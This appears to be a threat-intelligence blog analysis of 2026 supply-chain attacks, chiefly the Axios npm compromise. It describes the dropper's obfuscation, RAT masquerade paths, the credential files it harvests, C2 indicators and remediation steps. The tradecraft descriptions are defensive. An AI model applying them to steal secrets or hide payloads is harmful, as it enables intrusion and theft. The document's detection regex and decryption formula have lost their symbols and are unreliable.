The adversary’s operational security (OPSEC) includes specific geographic exclusions. The ForceMemo and Glassworm payloads frequently include checks for the system’s locale; execution is terminated if the system language is set to Russian or other languages common in the Commonwealth of Independent States (CIS).5 This is a hallmark of Eastern European or DPRK-aligned cybercrime, intended to avoid local law enforcement scrutiny. The campaign’s primary targets include blockchain engineers, cryptocurrency developers, and AI researchers.4 This focus on high-value technological intellectual property and liquid financial assets is characteristic of North Korea’s strategic objective to bypass international sanctions through cyber-enabled financial theft.
Remediation Protocol: Phased Recovery and Hardening
Remediation of the Polinrider compromise requires a multi-stage protocol focused on immediate identification, systematic eradication, and long-term structural hardening of the software supply chain.
Stage 1: Identification and Isolation
Organisations must immediately audit their environments for indicators of compromise (IOCs) associated with the Glassworm and ForceMemo waves.
Repository Integrity Checks: Utilise git reflog and examine committer dates for any discrepancies against author dates on default branches.5 Any force-push activity on sensitive repositories should be treated as a confirmed breach.
Unicode Scanning: Deploy automated scanners capable of detecting non-rendering Unicode characters. A recommended regex for identifying variation selectors in source code is: (|\uDB40).16 The Glassworm decoder pattern should be used as a signature for static analysis of JavaScript and TypeScript files.4
Extension Audit: Implement a “Review and Allowlist” policy for IDE extensions. Use the VS Code extensions. allowed setting to restrict installations to verified, internal publishers. 3
Stage 2: Credential Rotation and Eradication
Because the primary objective of the campaign was the theft of privileged tokens, any infected workstation must be assumed to have leaked all accessible credentials.
Token Revocation: Immediately revoke all GitHub Personal Access Tokens (PATs), npm publishing tokens, and SSH keys associated with affected developers.1
Asset Protection: Rotate all sensitive information stored in .env files or environment variables, including AWS access keys, database passwords, and API secrets.5
System Re-imaging: Given that the Glassworm implant establishes persistent SOCKS proxies and VNC servers, compromised machines should be considered fully “lost” and re-imaged from a clean state to ensure total eradication of the RAT.1
Stage 3: Post-Incident Hardening
To prevent a recurrence of these sophisticated supply chain attacks, organisations must transition toward a zero-trust model for development.
Trusted Publishing (OIDC): Migrate all package publishing workflows to OpenID Connect (OIDC). This eliminates the need for long-lived static tokens, instead utilising temporary, job-specific credentials provided by the CI/CD environment.1
Signed Commits and Branch Protection: Enforce mandatory commit signing and strictly disable force-pushing on all protected branches. This prevents the ForceMemo technique from rewriting history without an audit trail.6
Dependency Isolation: Use tools like “Aikido Safe Chain” to block malicious packages before they enter the environment. 4 Implement a mandatory 7-day delay for the adoption of new package versions to allow security researchers and automated scanners time to audit them for malicious intent.1
Critical Analysis & Conclusion
The Polinrider and Glassworm campaigns of 2026 signify a watershed moment in the industrialisation of supply chain warfare. This incident reveals three fundamental shifts in the adversarial landscape that require a comprehensive re-evaluation of modern cybersecurity practices.
The Weaponisation of Invisible Code
The success of the Glassworm Unicode technique exposes the fragility of the “four-eyes” principle in code review. By exploiting the discrepancy between how code is rendered for human reviewers and how it is parsed by computer systems, the adversary has effectively rendered visual audit trails obsolete.This creates a “shadow code” layer that cannot be detected by humans, requiring a shift toward byte-level automated analysis as a baseline requirement for all source code committed to a repository.
The Subversion of Decentralised Infrastructure
The use of the Solana blockchain for C2 communication demonstrates that adversaries are increasingly adept at exploiting decentralised technologies to ensure operational resilience. Traditional defensive strategies, such as IP and domain blocking, are insufficient against a C2 channel that is immutable and globally distributed. Defenders must move toward behavioural analysis of blockchain RPC traffic and the monitoring of immutable metadata to detect signs of malicious coordination.
The IDE as the New Perimeter
Historically, security efforts have focused on the network perimeter and the production server. Polinrider proves that the developer’s IDE is the new, high-leverage frontier. VS Code extensions, which operate outside the standard governance of production services, provide a silent and powerful delivery mechanism for malware. The “transitive delivery” model exploited in this campaign shows that the supply chain is only as strong as its weakest link.
In conclusion, the Polinrider offensive represents a highly coordinated, state-sponsored effort to exploit the very tools that enable global technological progress. The adversary has shown that by targeting the “privileged few” – “the developers”, they can poison the ecosystem for the many. The path forward requires a fundamental shift in how we perceive the development environment: not as a safe harbour of trust, but as a primary attack surface that requires the same level of Zero Trust auditing and isolation as a production database. Only through the adoption of immutable provenance, cryptographic commit integrity, and automated Unicode detection can the software supply chain be fortified against such invisible and industrialised incursions.
The Axios Supply Chain Compromise: A Post-Mortem on Infrastructure Trust, Nation-State Proxy Warfare, and the Fragility of Modern JavaScript Ecosystems
TL:DR: This is a Developing Situation and I will try to update it as we dissect more. If you’d prefer the remediation protocol directly, you can head to the bottom. In case you want to understand the anatomy of the attack and background, I have made a video that can be a quick explainer.
The software supply chain compromise of the Axios npm package in late March 2026 stands as a definitive case study in the escalating complexity of cyber warfare targeting the foundations of global digital infrastructure.1 Axios, an ubiquitous promise-based HTTP client for Node.js and browser environments, serves as a critical abstraction layer for over 100 million weekly installations, facilitating the movement of sensitive data across nearly every major industry.1 On March 31, 2026, this trusted utility was weaponised by threat actors through a sophisticated account takeover and the injection of a cross-platform Remote Access Trojan (RAT), exposing a vast blast radius of developer environments, CI/CD pipelines, and production clusters to state-sponsored espionage.2 The incident represents more than a localized breach of an npm library; it is a manifestation of the “cascading” supply chain attack model, where the compromise of a single maintainer cascades into the theft of thousands of high-value credentials, including AWS keys, SSH credentials, and OAuth tokens, which are then leveraged for further lateral movement within corporate and government networks.6 This analysis reconstructs the technical anatomy of the attack, explores the operational tradecraft of the adversary, and assesses the structural vulnerabilities in registry infrastructure that allowed such a breach to bypass modern security gates like OIDC-based Trusted Publishing.6
The Architectural Criticality of Axios and the Magnitude of the Blast Radius
The positioning of Axios within the modern software stack creates a high-density target for supply chain poisoning. As a library that manages the “front door” of network communication for applications, it is inherently granted access to sensitive environment variables, authentication headers, and API secrets.1 The March 31 compromise targeted this architectural criticality by poisoning the very mechanism of installation.2
The blast radius of this incident was significantly expanded by the library’s role as a transitive dependency. Countless other npm packages, orchestration tools, and automated build scripts pull Axios as a secondary or tertiary requirement.3 Consequently, organisations that do not explicitly use Axios in their primary codebases were still vulnerable if their build systems resolved to the malicious versions, 1.14.1 or 0.30.4, during the infection window.1 This “hidden” exposure is a hallmark of modern supply chain risk, where the attack surface is not merely your code, but your vendor’s vendor’s vendor.2
The Anatomy of the Poisoning: Technical Construction of plain-crypto-js
The compromise was executed not by modifying the Axios source code itself, which might have been caught by source-control monitoring or automated diffs; but by manipulating the registry metadata to include a “phantom dependency” named [email protected]. This dependency was never intended to provide cryptographic functionality; it served exclusively as a delivery vehicle for the initial stage dropper.6
The attack began when a developer or an automated CI/CD agent executed npm install.6 The npm registry resolved the dependency tree, identified the malicious Axios version, and automatically fetched [email protected].6. Upon installation, the package triggered a postinstall hook defined in its package.json, executing the command node setup.js.6 This script functioned as the primary dropper, utilising a sophisticated obfuscation scheme to hide its intent from static analysis tools.5
The setup.js script utilised a two-layer encoding mechanism. The first layer involved a string reversal and a modified Base64 decoder where standard padding characters were replaced with underscores.5 The second layer employed a character-wise XOR cipher with a key derived from the string “OrDeR_7077”.5 The logic for the decryption can be represented mathematically. Let be the array of obfuscated character codes and be the derived key array. The character index for the XOR operation is calculated as:
Where is the current character position in the string being decrypted. 5 This position-dependent transformation ensured that even if a security tool identified a repeating key pattern, the actual character transformation would vary non-linearly across the string.5
The dropper’s primary function was to identify the host operating system via the os.platform() module and download the corresponding second-stage RAT binary from the C2 server.6 This stage demonstrated high operational maturity, providing specific payloads for Windows, macOS, and Linux, ensuring that no developer workstation would be exempt from the infection chain.5
The Discovery Narrative: From Automated Scanners to Community Alarms
The identification of the Axios compromise was not the result of a single security failure, but rather a coordinated response between automated monitoring systems and the broader cybersecurity community.5 The earliest indications of the breach emerged on March 30, 2026, when researchers at Elastic Security Labs detected anomalous registry activity.5. Automated monitors flagged a significant change in the project’s metadata: the registered email for lead maintainer jasonsaayman was abruptly changed from a legitimate Gmail address to the attacker-controlled [email protected].5This discovery triggered a rapid forensic investigation. Researchers noted that while previous legitimate versions of Axios were published using GitHub Actions OIDC with SLSA provenance attestations, the malicious versions, 1.14.1 and 0.30.4, were published directly via the npm CLI.3 This shift in publishing methodology provided the first evidence of an account takeover.3 By 01:50 AM UTC on March 31, 2026, a GitHub Security Advisory was filed, and the coordination between Axios maintainers and the npm registry began in earnest to remove the poisoned packages.5
Despite the relatively short duration of the infection window (approximately three hours), the impact was profound.2 Automated build systems, particularly those that do not use pinned dependencies or committed lockfiles, pulled the malicious releases immediately upon their publication.2 The “two-hour window” between publication and removal was sufficient for the attackers to establish persistence on thousands of systems, highlighting the fundamental problem with reactive security: IOCs often arrive after the initial objective of the attacker has already been realised.2
The Adversary Persona: BlueNoroff and the Lazarus Connection
The technical signatures and infrastructure used in the Axios attack allow for high-confidence attribution to BlueNoroff, a prominent subgroup of the North Korean Lazarus Group.16 BlueNoroff, also tracked as Jade Sleet and TraderTraitor, is widely recognised as the financial and infrastructure-targeting arm of the North Korean state, responsible for massive thefts of cryptocurrency and attacks on financial systems like SWIFT.16
The attribution is supported by several “ironclad” pieces of evidence recovered during forensic analysis.18 The macOS variant of the Remote Access Trojan, which the attackers dubbed macWebT, is identified as a direct evolution of the webT malware module previously documented in the group’s “RustBucket” campaign.18 Furthermore, the C2 protocol structure, the JSON-based message formats, and the specific system enumeration patterns are identical to those used in the “Contagious Interview” campaign, where North Korean hackers used fake job offers to distribute malicious npm packages.15
The strategic objective of the Axios compromise was twofold: credential harvesting and infrastructure access.1 By gaining access to developer environments, BlueNoroff can steal the “keys to the kingdom”, SSH keys for private repositories, cloud service account tokens, and repository deploy keys.6 These credentials are then used to penetrate further into corporate and government networks, enabling long-term espionage or the eventual theft of cryptocurrency assets to fund the North Korean regime.15
Attribution Characteristic
Evidence / Signature
Malware Lineage
macWebT project name linked to BlueNoroff’s webT (RustBucket 2023).18
Campaign Overlap
C2 message types and “FirstInfo” sequence mirror “Contagious Interview” TTPs.15
Target Profile
High-value developers, blockchain firms, and infrastructure maintainers.16
Infrastructure
Use of anonymous ProtonMail accounts and bulletproof hosting for C2 nodes.10
The Axios incident marks a significant escalation in BlueNoroff’s tactics.10 Rather than relying on social engineering to target individuals, the group has successfully moved “upstream” in the supply chain, poisoning a tool used by millions to achieve a massive, automated reach that bypasses traditional phishing defences.10
The Cross-Platform RAT: Windows, macOS, and Linux Payloads
The second-stage Remote Access Trojan (RAT) delivered during the Axios breach demonstrates the technical sophistication of the adversary. Rather than using three different tools, the attackers developed a single, unified RAT framework with native-language implementations for each major operating system, sharing a common C2 protocol and command set.5
Windows Implementation: The wt.exe Masquerade
On Windows systems, the setup.js dropper wrote a VBScript to the %TEMP% directory.6 This script performed an evasion manoeuvre by copying the legitimate powershell.exe to %PROGRAMDATA%\wt.exe, masquerading as the Windows Terminal binary to evade process-name based security heuristics.6 The script then downloaded and executed a PowerShell-based RAT, which established persistence through the Windows registry:
Persistent Artifact: %PROGRAMDATA%\system.bat (a hidden batch file that re-downloads the RAT on login).5
macOS Implementation: The com.apple.act.mond Daemon
The macOS variant was a compiled Mach-O universal binary (supporting both x86_64 and ARM64 architectures).6 The dropper used an AppleScript to download the binary to /Library/Caches/com.apple.act.mond, a path chosen to mimic legitimate Apple system processes.6 To bypass Gatekeeper security checks, the malware used the codesign tool to ad hoc sign its own components.4 This C++ binary utilised the nlohmann/json library for parsing C2 commands and libcurl for secure network communications.6
Linux Implementation: The ld.py Python RAT
The Linux variant was a 443-line Python script that relied exclusively on the standard library to minimise its footprint.4 It was downloaded to /tmp/ld.py and launched as an orphaned background process via the nohup command.4 This technique ensured that even if the terminal session where npm install was run was closed, the RAT would continue to operate as a child of the init process (PID 1), severing any obvious parent-child process relationships that security tools might use for attribution.4
Platform
Persistence Mechanism
Key Discovery Paths
Windows
Registry Run Key + %PROGRAMDATA%\system.bat.6
Check for %PROGRAMDATA%\wt.exe masquerade.6
macOS
Masquerades as system daemon; survives user logout.4
Check /Library/Caches/com.apple.act.mond.4
Linux
Detached background process (PID 1) via nohup.4
Check /tmp/ld.py for Python script.6
Across all three platforms, the RAT engaged in immediate and aggressive system reconnaissance.6 It enumerated user directories (Documents, Desktop), cloud configuration folders (.aws), and SSH keys (.ssh), packaging this data into a “FirstInfo” beacon sent to the C2 server within seconds of infection.6
Credential Harvesting and Post-Exfiltration Tradecraft
The primary objective of the Axios compromise was not system disruption, but the systematic harvesting of credentials that facilitate further lateral movement.1 The BlueNoroff actors recognised that a developer’s workstation is the nexus of an organisation’s infrastructure, housing the secrets required to modify source code, deploy cloud resources, and access sensitive internal databases.6
Upon establishing a connection to the sfrclak[.]com C2 server, the RAT immediately began a deep scan for high-value secrets.6 The malware was specifically programmed to prioritise the following categories of data:
Cloud Infrastructure: Searching for AWS credentials (via IMDSv2 and ~/.aws/), GCP service account files, and Azure tokens.2
Development and CI/CD: Harvesting npm tokens from .npmrc, GitHub personal access tokens, and repository deploy keys stored in ~/.ssh/.3
Local Environments: Dumping all environment variables, which in modern development often contain API keys for services like OpenAI, Anthropic, or database connection strings.2
System and Shell History: Searching shell history files (.bash_history, .zsh_history) for sensitive commands, passwords, or internal URLs that could reveal system topology.8
The exfiltration process was designed for stealth. Harvested data was bundled and often encrypted using a hybrid scheme similar to that seen in the LiteLLM attack, where data is encrypted with a session-specific AES-256 key, which is then itself encrypted with a hardcoded RSA public key.8 This ensures that even if the C2 traffic is intercepted, the underlying data remains unreadable without the attacker’s private key.8
Targeted Data Type
Specific Artifacts
Operational Outcome
Auth Tokens
.npmrc, ~/.git-credentials, .env
Access to modify upstream packages and hijack CI/CD pipelines.1
Network Access
~/.ssh/id_rsa, shell history
Lateral movement into production servers and internal repositories.6
Cloud Secrets
~/.aws/credentials, IMDS metadata
Full control over cloud-hosted infrastructure and data lakes.2
Crypto Wallets
Browser logs, wallet files (BTC, ETH, SOL)
Direct financial theft for purported state revenue.8
The anti-forensic measures employed by the RAT further complicate recovery. After the initial exfiltration, the setup.js dropper deleted itself and replaced the malicious package.json with a clean decoy version (package.md).6 This swap included reporting the version as 4.2.0 (the clean pre-staged version) instead of the malicious 4.2.1.6. Consequently, incident responders running npm list might conclude their system was running a safe version of the dependency, even while the RAT remained active as an orphaned background process. 10
Strategic Failures in npm Infrastructure: The OIDC vs. Token Conflict
One of the most critical findings of the Axios post-mortem is the failure of OIDC-based Trusted Publishing to prevent the malicious releases.6 The industry has widely advocated for OIDC (OpenID Connect) as the “gold standard” for securing the software supply chain, as it replaces long-lived, static API tokens with short-lived, cryptographically signed identity tokens generated by the CI/CD provider.6
The Axios project had successfully implemented Trusted Publishing, yet the attackers were still able to publish malicious versions.6 This was made possible by a design choice in the npm authentication hierarchy: when both a long-lived NPM_TOKEN and OIDC credentials are provided, the npm CLI prioritises the token.6 The attackers exploited this by using a stolen, long-lived token, likely harvested in a prior breach, to publish directly from a local machine, completely bypassing the secure GitHub Actions workflow that was intended to be the only path for new releases.6
Feature
Long-Lived API Tokens
Trusted Publishing (OIDC)
Lifetime
Static (often 30-90+ days).22
Ephemeral (seconds to minutes).9
Storage
Environmental variables, .npmrc.6
Not stored; generated per-job.9
Security Risk
High; primary vector for supply chain attacks.22
Low; no static secret to leak.9
Verification
Simple possession-based.6
Identity-based via cryptographic signature.9
Bypass Potential
Can override OIDC in current npm implementations.6
Secure, if legacy tokens are revoked.6
This “shadow token” problem highlights a critical gap in infrastructure assurance. Many organisations “upgrade” to secure workflows without deactivating the legacy systems they were meant to replace.6 In the case of Axios, the presence of a single unrotated token rendered the entire SLSA (Supply-chain Levels for Software Artefacts) provenance framework ineffective for the malicious versions.6 For professionals, the lesson is clear: identity-based security is only effective when possession-based security is explicitly revoked.6
Remediation Protocol: Recovery and Hardening Strategies
The ephemeral nature of the Axios infection window does not diminish the severity of the compromise. Organisations must treat any system that resolved to [email protected] or 0.30.4 as fully compromised, characterised by a state of “assumed breach” where an interactive attacker had arbitrary code execution.
Phase 1: Identification and Isolation
Lockfile Audit: Scan all package-lock.json, yarn.lock, and pnpm-lock.yaml files for explicit references to the affected versions or the plain-crypto-js dependency.
Environment Check: Run npm ls plain-crypto-js or search node_modules for the directory. Note that even if package.json inside this folder looks clean, the presence of the folder itself is confirmation of execution.
Artefact Hunting: Search for platform-specific persistence artefacts:
Windows: %PROGRAMDATA%\wt.exe and %PROGRAMDATA%\system.bat.
macOS: /Library/Caches/com.apple.act.mond.
Linux: /tmp/ld.py.
Network Triage: Inspect DNS and firewall logs for outbound connections to sfrclak[.]com or the IP 142.11.206.73 on port 8000.
Phase 2: Recovery and Revocation
Secret Revocation: Do not simply rotate keys; they must be fully revoked and reissued. This includes AWS/Cloud IAM roles, GitHub/GitLab tokens, SSH keys, npm tokens, and all .env secrets accessible by the infected process.
Infrastructure Rebuild: Do not attempt to “clean” infected workstations or CI runners. Rebuild them from known-clean snapshots or base images to ensure no persistence survives the remediation.
Audit Lateral Movement: Review internal logs (e.g., AWS CloudTrail, GitHub audit logs) for unusual activity following the infection window, as the RAT was designed to move beyond the initial host.
Phase 3: Strategic Hardening
Enforce Lockfile Integrity: Standardise on npm ci (or equivalent) in CI/CD pipelines to ensure only the committed lockfile is used, preventing silent dependency upgrades.
Disable Lifecycle Scripts: Use the –ignore-scripts flag during installation in build environments to block the execution of postinstall droppers like setup.js.
Identity Overhaul: Explicitly revoke all long-lived npm API tokens and mandate the use of OIDC Trusted Publishing with provenance attestations.
The Future of Infrastructure Assurance: Vibe Coding and AI Risks
The Axios incident occurred in a landscape increasingly defined by “vibe coding”—the rapid development of software using AI tools with minimal human input.23 In March 2026, Britain’s National Cyber Security Centre (NCSC) issued a stern warning that the rise of vibe coding could exacerbate the risks of supply chain poisoning.23 AI coding assistants often suggest dependencies and automatically resolve version updates based on “vibes” or perceived popularity, without performing the rigorous security vetting required for foundational libraries.23
The Axios breach perfectly exploited this dynamic. A developer using an AI-assisted “copilot” might have been prompted to “update all dependencies to resolve security alerts”.23 If the AI tool resolved to [email protected] during the infection window, it would have pulled the BlueNoroff payload into the environment with the speed of automated efficiency.23 This friction-free path for malware represents a new frontier of cyber risk, where the very tools meant to increase productivity are weaponised to accelerate the distribution of state-sponsored malware.23
Furthermore, researchers have identified that AI models themselves can be manipulated to “hallucinate” or suggest malicious packages if the naming and description are sufficiently deceptive.24 The plain-crypto-js package, with its mimicry of the legitimate crypto-js library, was designed to pass the “vibe check” of both humans and AI assistants.6
Risk Factor
Impact on Supply Chain
Defensive Response
Automated Updates
AI tools pull poisoned versions in seconds.23
Pin dependencies; use npm ci.3
Shadow Identity
AI systems create untracked accounts and tokens.26
Strict IAM governance and behavioral monitoring.26
Vulnerable Generation
AI propagates known-vulnerable code patterns.23
Automated code review and logic-based security architecture.24
Speed over Safety
Tight deadlines pressure developers to skip audits.15
Mandate human-in-the-loop for dependency changes.24
The Axios compromise, following closely on the heels of the LiteLLM and Trivy incidents, indicates that the “status quo of manually produced software” is being disrupted by a wave of AI-driven complexity that the security community is struggling to contain.7 Achieving future infrastructure assurance will require not just better scanners, but a deterministic security architecture that limits what code can do even if it is compromised or malicious.24
Conclusion: Strategic Recommendations for Professional Resilience
The software supply chain is no longer a peripheral concern; it is the primary battleground for nation-state actors seeking to fund their operations and gain long-term strategic access to global digital infrastructure.10 The Axios breach demonstrated that even the most trusted tools can be weaponised in minutes, and that modern security frameworks like OIDC are only as effective as the legacy tokens they leave behind.6
For organisations seeking to protect their assets from future supply chain cascades, the following recommendations are essential:
Immediate Remediation for Axios: Any system that resolved to [email protected] or 0.30.4 must be treated as fully compromised.3 This requires the immediate revocation and reissue of all environment secrets, SSH keys, and cloud tokens accessible from that system.2 The presence of the node_modules/plain-crypto-js directory is a sufficient indicator of compromise, regardless of the apparent “cleanliness” of its manifest.6
Legacy Token Sunset: Organisations must perform a comprehensive audit of their npm and GitHub tokens.22 All static, long-lived API tokens must be revoked and replaced with OIDC-based Trusted Publishing.9 The Axios breach proves that the mere existence of a legacy token is a vulnerability that state-sponsored actors will proactively seek to exploit.6
Enforced Dependency Isolation: Build environments and CI/CD pipelines should be configured with a “deny-by-default” egress policy.15 Legitimate build tasks should be restricted to known, trusted domains, and all postinstall scripts should be disabled via –ignore-scripts unless explicitly required and audited.2
Adopt Behavioural and Anomaly Detection: Traditional IOC-based detection is insufficient against sophisticated actors who use self-deleting malware and ephemeral infrastructure.7 Organisations must implement behavioural monitoring to detect the 60-second beaconing cadence, unusual process detachment (PID 1), and unauthorised directory enumeration that characterise nation-state RATs.7
The Axios compromise of 2026 was a success for the adversary, but it provides a critical empirical lesson for the defender. In an ecosystem of 100 million weekly downloads, security is a shared responsibility that must be maintained with constant vigilance and an uncompromising commitment to infrastructure assurance.8
